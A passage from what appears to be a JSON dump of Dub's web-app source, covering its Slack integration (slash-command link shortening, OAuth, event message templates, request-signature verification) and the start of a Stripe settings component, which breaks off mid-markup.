    "content": "import { createLink, processLink } from \"@/lib/api/links\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { createLinkBodySchema } from \"@/lib/zod/schemas/links\";\nimport { prisma } from \"@dub/prisma\";\nimport { User } from \"@dub/prisma/client\";\nimport { APP_DOMAIN, SLACK_INTEGRATION_ID } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { SlackAuthToken } from \"../types\";\nimport { slackSlashCommandSchema } from \"./schema\";\nimport { verifySlackSignature } from \"./verify-request\";\n\n// Handle slash command from Slack\nexport const handleSlashCommand = async (req: Request) => {\n  const body = await req.text();\n\n  await verifySlackSignature(req, body);\n\n  const rawFormData = new URLSearchParams(body);\n  const formData = Object.fromEntries(rawFormData.entries());\n  const parsedInput = slackSlashCommandSchema.safeParse(formData);\n\n  if (!parsedInput.success) {\n    return {\n      blocks: [\n        {\n          type: \"section\",\n          text: {\n            type: \"plain_text\",\n            text: \"Invalid request.\",\n          },\n        },\n      ],\n    };\n  }\n\n  const data = parsedInput.data;\n\n  const installation = await prisma.installedIntegration.findFirst({\n    where: {\n      integrationId: SLACK_INTEGRATION_ID,\n      credentials: {\n        path: \"$.team.id\",\n        equals: data.team_id,\n      },\n    },\n  });\n\n  if (!installation) {\n    return {\n      blocks: [\n        {\n          type: \"section\",\n          text: {\n            type: \"plain_text\",\n            text: \"Installation not found.\",\n          },\n        },\n      ],\n    };\n  }\n\n  if (data.text.length === 0) {\n    return {\n      blocks: [\n        {\n          type: \"section\",\n          text: {\n            type: \"plain_text\",\n            text: \"Please provide a destination URL.\",\n          },\n        },\n      ],\n    };\n  }\n\n  // Find Dub user matching the Slack user profile\n  const credentials = installation.credentials as SlackAuthToken;\n  const slackUser = await findSlackUser({\n    userId: data.user_id,\n    credentials,\n  });\n\n  const dubUser = await prisma.user.findUnique({\n    where: {\n      email: slackUser?.email,\n    },\n    select: {\n      id: true,\n      name: true,\n    },\n  });\n\n  if (!dubUser) {\n    return {\n      blocks: [\n        {\n          type: \"section\",\n          text: {\n            type: \"plain_text\",\n            text: \"Unable to find Dub account matching your Slack account. Only Dub users can use this command.\",\n          },\n        },\n      ],\n    };\n  }\n\n  const workspace = (await prisma.project.findUniqueOrThrow({\n    where: {\n      id: installation.projectId,\n    },\n    select: {\n      id: true,\n      plan: true,\n      slug: true,\n    },\n  })) as WorkspaceProps;\n\n  if (data.command === \"/shorten\") {\n    return createShortLink({\n      data,\n      workspace,\n      user: dubUser,\n    });\n  }\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"plain_text\",\n          text: \"Invalid command.\",\n        },\n      },\n    ],\n  };\n};\n\n// Find Dub user for the given Slack user\n// TODO: Cache the profile for better performance\nconst findSlackUser = async ({\n  userId,\n  credentials,\n}: {\n  userId: string;\n  credentials: SlackAuthToken;\n}) => {\n  const response = await fetch(\n    `https://slack.com/api/users.profile.get?user=${userId}`,\n    {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n        Authorization: `Bearer ${credentials.accessToken}`,\n      },\n    },\n  );\n\n  const slackUser = await response.json();\n\n  if (!slackUser.ok) {\n    throw new Error(slackUser.error);\n  }\n\n  return slackUser.profile as { email: string };\n};\n\n// Handle `/shorten` command from Slack\nconst createShortLink = async ({\n  data,\n  workspace,\n  user,\n}: {\n  data: z.infer<typeof slackSlashCommandSchema>;\n  workspace: WorkspaceProps;\n  user: Pick<User, \"id\" | \"name\">;\n}) => {\n  const [url, key, domain] = data.text;\n  const body = createLinkBodySchema.parse({ url, key, domain });\n\n  const { link, error } = await processLink({\n    payload: body,\n    workspace: workspace as WorkspaceProps,\n    userId: user.id,\n  });\n\n  if (error != null) {\n    return {\n      blocks: [\n        {\n          type: \"section\",\n          text: {\n            type: \"plain_text\",\n            text: error,\n          },\n        },\n      ],\n    };\n  }\n\n  const { shortLink, createdAt } = await createLink(link);\n\n  const createdAtDate = new Date(createdAt).toLocaleDateString(\"en-us\", {\n    month: \"short\",\n    day: \"numeric\",\n    year: \"numeric\",\n    hour: \"numeric\",\n    minute: \"numeric\",\n    hour12: true,\n  });\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"mrkdwn\",\n          text: \"Short link created!\",\n        },\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: \"*Short Link*\",\n          },\n          {\n            type: \"mrkdwn\",\n            text: \"*Destination*\",\n          },\n          {\n            type: \"mrkdwn\",\n            text: `<${shortLink}|${shortLink}>`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `<${url}|${url}>`,\n          },\n        ],\n      },\n      {\n        type: \"context\",\n        elements: [\n          {\n            type: \"mrkdwn\",\n            text: `*Created by* ${user.name} | ${createdAtDate} | <${APP_DOMAIN}/${workspace.slug}/links/${link.domain}/${link.key} | View on Dub>`,\n          },\n        ],\n      },\n    ],\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/slack/oauth.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { InstalledIntegration } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { OAuthProvider, OAuthProviderConfig } from \"../oauth-provider\";\nimport { SlackAuthToken } from \"../types\";\nimport { slackAuthTokenSchema } from \"./schema\";\n\nclass SlackOAuthProvider extends OAuthProvider<typeof slackAuthTokenSchema> {\n  constructor(provider: OAuthProviderConfig<typeof slackAuthTokenSchema>) {\n    super(provider);\n  }\n\n  async uninstall(installation: InstalledIntegration) {\n    const credentials = installation.credentials as SlackAuthToken;\n\n    const response = await fetch(\"https://slack.com/api/apps.uninstall\", {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body: new URLSearchParams({\n        token: credentials.accessToken,\n        client_id: process.env.SLACK_CLIENT_ID!,\n        client_secret: process.env.SLACK_CLIENT_SECRET!,\n      }),\n    });\n\n    const data = await response.json();\n\n    if (!data.ok) {\n      console.error(\"[Slack]\", data);\n\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Failed to remove the app from the Slack workspace.\",\n      });\n    }\n  }\n}\n\nexport const slackOAuthProvider = new SlackOAuthProvider({\n  name: \"Slack\",\n  clientId: process.env.SLACK_CLIENT_ID!,\n  clientSecret: process.env.SLACK_CLIENT_SECRET!,\n  authUrl: \"https://slack.com/oauth/v2/authorize\",\n  tokenUrl: \"https://slack.com/api/oauth.v2.access\",\n  redirectUri: `${APP_DOMAIN_WITH_NGROK}/api/slack/callback`,\n  redisStatePrefix: \"slack:oauth:state\",\n  scopes: [\n    \"chat:write\",\n    \"commands\",\n    \"im:write\",\n    \"channels:join\",\n    \"chat:write.customize\",\n    \"links:write\",\n    \"users.profile:read\",\n    \"users:read.email\",\n    \"users:read\",\n    \"incoming-webhook\",\n  ].join(\",\"),\n  tokenSchema: slackAuthTokenSchema,\n  bodyFormat: \"form\",\n  authorizationMethod: \"body\",\n});\n"
  },
  {
    "path": "apps/web/lib/integrations/slack/schema.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const slackAuthTokenSchema = z.object({\n  app_id: z.string(),\n  bot_user_id: z.string(),\n  scope: z.string(),\n  access_token: z.string(),\n  token_type: z.string(),\n  authed_user: z.object({\n    id: z.string(),\n  }),\n  team: z.object({\n    id: z.string(),\n    name: z.string(),\n  }),\n  incoming_webhook: z.object({\n    channel: z.string(),\n    channel_id: z.string(),\n    url: z.string(),\n  }),\n});\n\nexport const slackSlashCommandSchema = z.object({\n  api_app_id: z.string(),\n  team_id: z.string(),\n  user_id: z.string(),\n  text: z.string().transform((text) => text.trim().split(\" \")),\n  command: z.enum([\"/shorten\"]),\n});\n"
  },
  {
    "path": "apps/web/lib/integrations/slack/transform.ts",
    "content": "import { isFirstConversion } from \"@/lib/analytics/is-first-conversion\";\nimport { getBountyRewardDescription } from \"@/lib/bounty/rewards\";\nimport { APP_DOMAIN, COUNTRIES, currencyFormatter, truncate } from \"@dub/utils\";\nimport { LinkWebhookEvent } from \"dub/models/components\";\nimport * as z from \"zod/v4\";\nimport { WebhookTrigger } from \"../../types\";\nimport { webhookPayloadSchema } from \"../../webhook/schemas\";\nimport {\n  BountyEventWebhookPayload,\n  ClickEventWebhookPayload,\n  CommissionEventWebhookPayload,\n  LeadEventWebhookPayload,\n  PartnerApplicationWebhookPayload,\n  PartnerEventWebhookPayload,\n  PayoutEventWebhookPayload,\n  SaleEventWebhookPayload,\n} from \"../../webhook/types\";\n\nconst linkTemplates = ({\n  data,\n  event,\n}: {\n  data: LinkWebhookEvent[\"data\"];\n  event: WebhookTrigger;\n}) => {\n  const eventMessages = {\n    \"link.created\": \"*New short link created* :link:\",\n    \"link.updated\": \"*Short link updated* :link:\",\n    \"link.deleted\": \"*Short link deleted* :link:\",\n  };\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"mrkdwn\",\n          text: eventMessages[event],\n        },\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Short link*\\n<${data.shortLink}|${data.shortLink}>\\n`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `*Destination URL*\\n<${data.url}|${data.url}>\\n`,\n          },\n        ],\n      },\n    ],\n  };\n};\n\nconst linkClickedTemplate = ({ data }: { data: ClickEventWebhookPayload }) => {\n  const { link, click } = data;\n  const hrefToClicks = `${APP_DOMAIN}/events?event=clicks&domain=${link.domain}&key=${link.key}`;\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"mrkdwn\",\n          text: `*Someone clicked your short link* :eyes:`,\n        },\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Country*\\n${click.country}`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `*Referrer*\\n${click.referer}`,\n          },\n        ],\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Short link*\\n<${link.shortLink}|${link.shortLink}>`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `*Destination URL*\\n<${link.url}|${link.url}>`,\n          },\n        ],\n      },\n      {\n        type: \"context\",\n        elements: [\n          {\n            type: \"mrkdwn\",\n            text: `<${hrefToClicks}|View on Dub>`,\n          },\n        ],\n      },\n    ],\n  };\n};\n\nconst leadCreatedTemplate = ({ data }: { data: LeadEventWebhookPayload }) => {\n  const { customer, click, link, partner } = data;\n  const hrefToCustomerPage = `${APP_DOMAIN}/customers/${customer.id}`;\n  const hrefToPartnerPage = `${APP_DOMAIN}/program/partners/${partner?.id}`;\n  const hrefToLinkPage = `${APP_DOMAIN}/links/${link.domain}/${link.key}`;\n\n  const quickLinks = [\n    `<${hrefToCustomerPage}|Customer>`,\n    ...(partner ? [`<${hrefToPartnerPage}|Partner>`] : []),\n    `<${hrefToLinkPage}|Link>`,\n  ];\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"mrkdwn\",\n          text: \"*New lead created* :tada:\",\n        },\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Customer*\\n<${hrefToCustomerPage}|${customer.name}> (<${hrefToCustomerPage}|\\`${customer.email}\\`>)`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `*Country*\\n:flag-${click.country.toLowerCase()}: ${COUNTRIES[click.country]}`,\n          },\n        ],\n      },\n      {\n        type: \"section\",\n        fields: [\n          ...(partner\n            ? [\n                {\n                  type: \"mrkdwn\",\n                  text: `*Partner*\\n<${hrefToPartnerPage}|${partner.name}> (<${hrefToPartnerPage}|\\`${partner.email}\\`>)`,\n                },\n              ]\n            : []),\n          {\n            type: \"mrkdwn\",\n            text: `*Link*\\n<${hrefToLinkPage}|${link.domain}/${link.key}>`,\n          },\n        ],\n      },\n      {\n        type: \"context\",\n        elements: [\n          {\n            type: \"mrkdwn\",\n            text: `View on Dub: ${quickLinks.join(\" | \")}`,\n          },\n        ],\n      },\n    ],\n  };\n};\n\nconst saleCreatedTemplate = ({ data }: { data: SaleEventWebhookPayload }) => {\n  const { customer, click, sale, link, partner } = data;\n  const amountInDollars = (sale.amount / 100).toFixed(2);\n  const isNewSaleType = isFirstConversion({\n    customer: {\n      sales: customer.sales || 0,\n      linkId: null,\n    },\n  });\n  const hrefToCustomerPage = `${APP_DOMAIN}/customers/${customer.id}`;\n  const hrefToPartnerPage = `${APP_DOMAIN}/program/partners/${partner?.id}`;\n  const hrefToLinkPage = `${APP_DOMAIN}/links/${link.domain}/${link.key}`;\n\n  const quickLinks = [\n    `<${hrefToCustomerPage}|Customer>`,\n    ...(partner ? [`<${hrefToPartnerPage}|Partner>`] : []),\n    `<${hrefToLinkPage}|Link>`,\n  ];\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"mrkdwn\",\n          text: \"*New sale created* :moneybag:\",\n        },\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Customer*\\n${customer.name} (<mailto:${customer.email}|${customer.email}>)`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `*Country*\\n:flag-${click.country.toLowerCase()}: ${COUNTRIES[click.country]}`,\n          },\n        ],\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Amount*\\n${amountInDollars} ${sale.currency.toUpperCase()}`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `*Sale Type*\\n${isNewSaleType ? \":new: New sale (first payment)\" : \":repeat: Recurring sale (subscription renewal)\"}`,\n          },\n        ],\n      },\n      {\n        type: \"section\",\n        fields: [\n          ...(partner\n            ? [\n                {\n                  type: \"mrkdwn\",\n                  text: `*Partner*\\n<${hrefToPartnerPage}|${partner.name}> (<${hrefToPartnerPage}|\\`${partner.email}\\`>)`,\n                },\n              ]\n            : []),\n          {\n            type: \"mrkdwn\",\n            text: `*Link*\\n<${hrefToLinkPage}|${link.domain}/${link.key}>`,\n          },\n        ],\n      },\n      {\n        type: \"context\",\n        elements: [\n          {\n            type: \"mrkdwn\",\n            text: `View on Dub: ${quickLinks.join(\" | \")}`,\n          },\n        ],\n      },\n    ],\n  };\n};\n\nconst partnerEnrolledTemplate = ({\n  data,\n}: {\n  data: PartnerEventWebhookPayload;\n}) => {\n  const { name, email, country, companyName, partnerId } = data;\n  const hrefToPartnerPage = `${APP_DOMAIN}/program/partners/${partnerId}`;\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"mrkdwn\",\n          text: `*New partner enrolled* :tada:`,\n        },\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Partner*\\n<${hrefToPartnerPage}|${name}> (<${hrefToPartnerPage}|\\`${email}\\`>)`,\n          },\n          ...(country\n            ? [\n                {\n                  type: \"mrkdwn\",\n                  text: `*Country*\\n:flag-${country.toLowerCase()}: ${COUNTRIES[country]}`,\n                },\n              ]\n            : []),\n          ...(companyName\n            ? [\n                {\n                  type: \"mrkdwn\",\n                  text: `*Company*\\n${companyName}`,\n                },\n              ]\n            : []),\n        ],\n      },\n      {\n        type: \"context\",\n        elements: [\n          {\n            type: \"mrkdwn\",\n            text: `View on Dub: <${hrefToPartnerPage}|Partner>`,\n          },\n        ],\n      },\n    ],\n  };\n};\n\nconst partnerApplicationSubmittedTemplate = ({\n  data,\n}: {\n  data: PartnerApplicationWebhookPayload;\n}) => {\n  const { partner } = data;\n  const hrefToApplicationPage = `${APP_DOMAIN}/program/partners/applications?partnerId=${partner.id}`;\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"mrkdwn\",\n          text: `*New partner application submitted* :incoming_envelope:`,\n        },\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Name*\\n<${hrefToApplicationPage}|${partner.name}> (<${hrefToApplicationPage}|\\`${partner.email}\\`>)`,\n          },\n          ...(partner.country\n            ? [\n                {\n                  type: \"mrkdwn\",\n                  text: `*Country*\\n:flag-${partner.country.toLowerCase()}: ${COUNTRIES[partner.country]}`,\n                },\n              ]\n            : []),\n          ...(partner.companyName\n            ? [\n                {\n                  type: \"mrkdwn\",\n                  text: `*Company*\\n${partner.companyName}`,\n                },\n              ]\n            : []),\n        ],\n      },\n      {\n        type: \"context\",\n        elements: [\n          {\n            type: \"mrkdwn\",\n            text: `View on Dub: <${hrefToApplicationPage}|Application>`,\n          },\n        ],\n      },\n    ],\n  };\n};\n\nconst commissionCreatedTemplate = ({\n  data,\n}: {\n  data: CommissionEventWebhookPayload;\n}) => {\n  const { id, amount, earnings, currency, partner, customer, link } = data;\n\n  const formattedAmount = currencyFormatter(amount, { currency });\n  const formattedEarnings = currencyFormatter(earnings, { currency });\n  const hrefToPartnerPage = `${APP_DOMAIN}/program/partners/${partner.id}`;\n  const hrefToCustomerPage = customer\n    ? `${APP_DOMAIN}/customers/${customer.id}`\n    : null;\n  const hrefToLinkPage = link\n    ? `${APP_DOMAIN}/links/${link.domain}/${link.key}`\n    : null;\n  const hrefToCommission = `${APP_DOMAIN}/program/commissions?commissionId=${id}`;\n\n  const quickLinks = [\n    `<${hrefToCommission}|Commission>`,\n    `<${hrefToPartnerPage}|Partner>`,\n    ...(customer ? [`<${hrefToCustomerPage}|Customer>`] : []),\n    ...(link ? [`<${hrefToLinkPage}|Link>`] : []),\n  ];\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"mrkdwn\",\n          text: \"*New commission created* :tada:\",\n        },\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Partner*\\n<${hrefToPartnerPage}|${partner.name}> (<${hrefToPartnerPage}|\\`${partner.email}\\`>)`,\n          },\n          ...(customer\n            ? [\n                {\n                  type: \"mrkdwn\",\n                  text: `*Customer*\\n<${hrefToCustomerPage}|${customer.name}> (<${hrefToCustomerPage}|\\`${customer.email}\\`>)`,\n                },\n              ]\n            : []),\n        ],\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Commission Amount*\\n${formattedAmount}`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `*Partner Earnings*\\n${formattedEarnings}`,\n          },\n        ],\n      },\n      {\n        type: \"context\",\n        elements: [\n          {\n            type: \"mrkdwn\",\n            text: `View on Dub: ${quickLinks.join(\" | \")}`,\n          },\n        ],\n      },\n    ],\n  };\n};\n\nconst bountyTemplates = ({\n  data,\n  event,\n}: {\n  data: BountyEventWebhookPayload;\n  event: WebhookTrigger;\n}) => {\n  const {\n    id,\n    name,\n    description,\n    rewardAmount,\n    rewardDescription,\n    submissionRequirements,\n    type,\n    startsAt,\n    endsAt,\n  } = data;\n\n  const eventMessages = {\n    \"bounty.created\": \"*New bounty created* :money_with_wings:\",\n    \"bounty.updated\": \"*Bounty updated* :memo:\",\n  };\n\n  const formattedReward = getBountyRewardDescription({\n    rewardAmount,\n    rewardDescription,\n    submissionRequirements,\n  });\n\n  const hrefToBounty = `${APP_DOMAIN}/program/bounties/${id}`;\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"mrkdwn\",\n          text: eventMessages[event],\n        },\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Bounty Name*\\n${truncate(name, 140) || \"Untitled Bounty\"}`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `*Reward*\\n${formattedReward}`,\n          },\n        ],\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Type*\\n${type.charAt(0).toUpperCase() + type.slice(1)}`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `*Duration*\\n${new Date(startsAt).toLocaleDateString()}${endsAt ? ` - ${new Date(endsAt).toLocaleDateString()}` : \" (No end date)\"}`,\n          },\n        ],\n      },\n      ...(description\n        ? [\n            {\n              type: \"section\",\n              text: {\n                type: \"mrkdwn\",\n                text: `*Description*\\n${truncate(description, 140)}`,\n              },\n            },\n          ]\n        : []),\n      {\n        type: \"context\",\n        elements: [\n          {\n            type: \"mrkdwn\",\n            text: `<${hrefToBounty}|View on Dub>`,\n          },\n        ],\n      },\n    ],\n  };\n};\n\nconst payoutConfirmedTemplate = ({\n  data,\n}: {\n  data: PayoutEventWebhookPayload;\n}) => {\n  const { id, amount, currency, partner, invoiceId } = data;\n  const formattedAmount = currencyFormatter(amount, { currency });\n  const hrefToPayout = `${APP_DOMAIN}/program/payouts?payoutId=${id}`;\n\n  return {\n    blocks: [\n      {\n        type: \"section\",\n        text: {\n          type: \"mrkdwn\",\n          text: `*Payout confirmed* :money_with_wings:`,\n        },\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Partner*\\n${partner.name}`,\n          },\n          {\n            type: \"mrkdwn\",\n            text: `*Email*\\n<mailto:${partner.email}|${partner.email}>`,\n          },\n        ],\n      },\n      {\n        type: \"section\",\n        fields: [\n          {\n            type: \"mrkdwn\",\n            text: `*Amount*\\n${formattedAmount}`,\n          },\n          ...(invoiceId\n            ? [\n                {\n                  type: \"mrkdwn\",\n                  text: `*Invoice ID*\\n${invoiceId}`,\n                },\n              ]\n            : []),\n        ],\n      },\n      {\n        type: \"context\",\n        elements: [\n          {\n            type: \"mrkdwn\",\n            text: `Payout ID: ${id} | <${hrefToPayout}|View on Dub>`,\n          },\n        ],\n      },\n    ],\n  };\n};\n\nconst slackTemplates: Record<WebhookTrigger, any> = {\n  \"link.created\": linkTemplates,\n  \"link.updated\": linkTemplates,\n  \"link.deleted\": linkTemplates,\n  \"link.clicked\": linkClickedTemplate,\n  \"lead.created\": leadCreatedTemplate,\n  \"sale.created\": saleCreatedTemplate,\n  \"partner.enrolled\": partnerEnrolledTemplate,\n  \"partner.application_submitted\": partnerApplicationSubmittedTemplate,\n  \"commission.created\": commissionCreatedTemplate,\n  \"bounty.created\": bountyTemplates,\n  \"bounty.updated\": bountyTemplates,\n  \"payout.confirmed\": payoutConfirmedTemplate,\n};\n\nexport const formatEventForSlack = (\n  payload: z.infer<typeof webhookPayloadSchema>,\n) => {\n  const { event, data } = payload;\n  const template = slackTemplates[event];\n\n  if (!template) {\n    throw new Error(`No Slack template found for event type: ${event}`);\n  }\n\n  const isLinkEvent = [\"link.created\", \"link.updated\", \"link.deleted\"].includes(\n    event,\n  );\n  const isBountyEvent = [\"bounty.created\", \"bounty.updated\"].includes(event);\n\n  return template({\n    data,\n    ...((isLinkEvent || isBountyEvent) && { event }),\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/slack/ui/settings.tsx",
    "content": "\"use client\";\n\nimport { InstalledIntegrationInfoProps } from \"@/lib/types\";\nimport { ConfigureWebhook } from \"../../common/ui/configure-webhook\";\n\nexport const SlackSettings = (props: InstalledIntegrationInfoProps) => {\n  const { installed, webhookId } = props;\n\n  return (\n    <>\n      {installed && webhookId && (\n        <ConfigureWebhook\n          webhookId={webhookId}\n          supportedEvents={[\n            \"link.created\",\n            \"link.updated\",\n            \"link.deleted\",\n            \"link.clicked\",\n            \"lead.created\",\n            \"sale.created\",\n            \"partner.enrolled\",\n            \"commission.created\",\n            \"bounty.created\",\n            \"bounty.updated\",\n          ]}\n        />\n      )}\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/slack/verify-request.ts",
    "content": "import { createHmac } from \"crypto\";\n\ninterface SlackRequestVerificationOptions {\n  signingSecret: string;\n  body: string;\n  nowMilliseconds?: number;\n  headers: {\n    \"x-slack-signature\": string;\n    \"x-slack-request-timestamp\": number;\n  };\n}\n\n// Verifies the signature of an incoming request from Slack.\nexport const verifySlackSignature = async (req: Request, body: string) => {\n  if (!process.env.SLACK_SIGNING_SECRET) {\n    throw new Error(\"SLACK_SIGNING_SECRET is not set\");\n  }\n\n  const options: SlackRequestVerificationOptions = {\n    signingSecret: process.env.SLACK_SIGNING_SECRET,\n    body: body,\n    headers: {\n      \"x-slack-signature\": req.headers.get(\"x-slack-signature\") ?? \"\",\n      \"x-slack-request-timestamp\": Number(\n        req.headers.get(\"x-slack-request-timestamp\"),\n      ),\n    },\n  };\n\n  const verifyErrorPrefix = \"Failed to verify authenticity\";\n  const requestTimestampSec = options.headers[\"x-slack-request-timestamp\"];\n  const signature = options.headers[\"x-slack-signature\"];\n\n  if (Number.isNaN(requestTimestampSec)) {\n    throw new Error(\n      `${verifyErrorPrefix}: header x-slack-request-timestamp did not have the expected type (${requestTimestampSec})`,\n    );\n  }\n\n  // Calculate time-dependent values\n  const nowMs = options.nowMilliseconds ?? Date.now();\n  const requestTimestampMaxDeltaMin = 5;\n  const fiveMinutesAgoSec =\n    Math.floor(nowMs / 1000) - 60 * requestTimestampMaxDeltaMin;\n\n  // Rule 1: Check staleness\n  if (requestTimestampSec < fiveMinutesAgoSec) {\n    throw new Error(\n      `${verifyErrorPrefix}: x-slack-request-timestamp must differ from system time by no more than ${requestTimestampMaxDeltaMin} minutes or request is stale`,\n    );\n  }\n\n  // Rule 2: Check signature\n  const [signatureVersion, signatureHash] = signature.split(\"=\");\n\n  // Only handle known versions\n  if (signatureVersion !== \"v0\") {\n    throw new Error(`${verifyErrorPrefix}: unknown signature version`);\n  }\n\n  // Compute our own signature hash\n  const hmac = createHmac(\"sha256\", options.signingSecret);\n  hmac.update(`${signatureVersion}:${requestTimestampSec}:${options.body}`);\n  const expectedSignature = hmac.digest(\"hex\");\n\n  if (!signatureHash || signatureHash !== expectedSignature) {\n    throw new Error(`${verifyErrorPrefix}: signature mismatch`);\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/stripe/schema.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const stripeIntegrationSettingsSchema = z.object({\n  freeTrials: z\n    .object({\n      enabled: z\n        .boolean()\n        .default(false)\n        .describe(\"Whether to track subscription free trials as lead events.\"),\n      trackQuantity: z\n        .boolean()\n        .default(false)\n        .describe(\n          \"Whether to track the provisioned quantity in the subscription as separate lead events.\",\n        ),\n    })\n    .nullish(),\n});\n"
  },
  {
    "path": "apps/web/lib/integrations/stripe/ui/settings.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { InstalledIntegrationInfoProps } from \"@/lib/types\";\nimport { MarkdownDescription } from \"@/ui/shared/markdown-description\";\nimport { AnimatedSizeContainer, Button, Switch } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport { stripeIntegrationSettingsSchema } from \"../schema\";\nimport { updateStripeSettingsAction } from \"../update-stripe-settings\";\n\nconst STRIPE_DEFAULT_SETTINGS = {\n  freeTrials: {\n    enabled: false,\n    trackQuantity: false,\n  },\n};\n\nexport const StripeIntegrationSettings = ({\n  installed,\n  settings,\n}: InstalledIntegrationInfoProps) => {\n  const { id: workspaceId } = useWorkspace();\n\n  const stripeSettings = stripeIntegrationSettingsSchema.parse({\n    ...STRIPE_DEFAULT_SETTINGS,\n    ...(settings as z.infer<typeof stripeIntegrationSettingsSchema>),\n  });\n\n  const initialFreeTrialsEnabled = stripeSettings?.freeTrials?.enabled ?? false;\n  const initialTrackQuantity =\n    stripeSettings?.freeTrials?.trackQuantity ?? false;\n\n  // Track saved values that can be updated after successful save\n  const [savedFreeTrialsEnabled, setSavedFreeTrialsEnabled] = useState(\n    initialFreeTrialsEnabled,\n  );\n  const [savedTrackQuantity, setSavedTrackQuantity] =\n    useState(initialTrackQuantity);\n\n  const [freeTrialsEnabled, setFreeTrialsEnabled] = useState(\n    initialFreeTrialsEnabled,\n  );\n\n  const [trackQuantity, setTrackQuantity] = useState(initialTrackQuantity);\n\n  const isDirty = useMemo(() => {\n    return (\n      freeTrialsEnabled !== savedFreeTrialsEnabled ||\n      trackQuantity !== savedTrackQuantity\n    );\n  }, [\n    freeTrialsEnabled,\n    savedFreeTrialsEnabled,\n    trackQuantity,\n    savedTrackQuantity,\n  ]);\n\n  const { executeAsync, isPending } = useAction(updateStripeSettingsAction, {\n    async onSuccess() {\n      // Update saved values to match current values after successful save\n      setSavedFreeTrialsEnabled(freeTrialsEnabled);\n      setSavedTrackQuantity(freeTrialsEnabled ? trackQuantity : false);\n      toast.success(\"Stripe settings updated successfully.\");\n    },\n    onError({ error }) {\n      toast.error(error.serverError || \"Failed to update Stripe settings.\");\n    },\n  });\n\n  const onSubmit = async (e: React.FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n\n    if (!workspaceId) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      freeTrials: {\n        enabled: freeTrialsEnabled,\n        trackQuantity: freeTrialsEnabled ? trackQuantity : false,\n      },\n    });\n  };\n\n  if (!installed) {\n    return null;\n  }\n\n  return (\n    <form className=\"mt-4 space-y-4\" onSubmit={onSubmit}>\n      <div className=\"rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"flex items-center gap-x-2 border-b border-neutral-200 px-4 py-4\">\n          <p className=\"text-sm font-medium text-neutral-700\">\n            Stripe Integration Settings\n          </p>\n        </div>\n\n        <div className=\"space-y-0\">\n          <div className=\"flex items-center justify-between gap-4 p-5\">\n            <div className=\"min-w-0 flex-1\">\n              <label className=\"mb-1 block text-sm font-semibold text-neutral-900\">\n                Track Free Trials\n              </label>\n              <MarkdownDescription className=\"text-sm text-neutral-600\">\n                Whether to track [subscription free\n                trials](https://docs.stripe.com/billing/subscriptions/trials) as\n                lead events.\n              </MarkdownDescription>\n            </div>\n            <Switch\n              checked={freeTrialsEnabled}\n              fn={setFreeTrialsEnabled}\n              disabled={isPending}\n            />\n          </div>\n\n          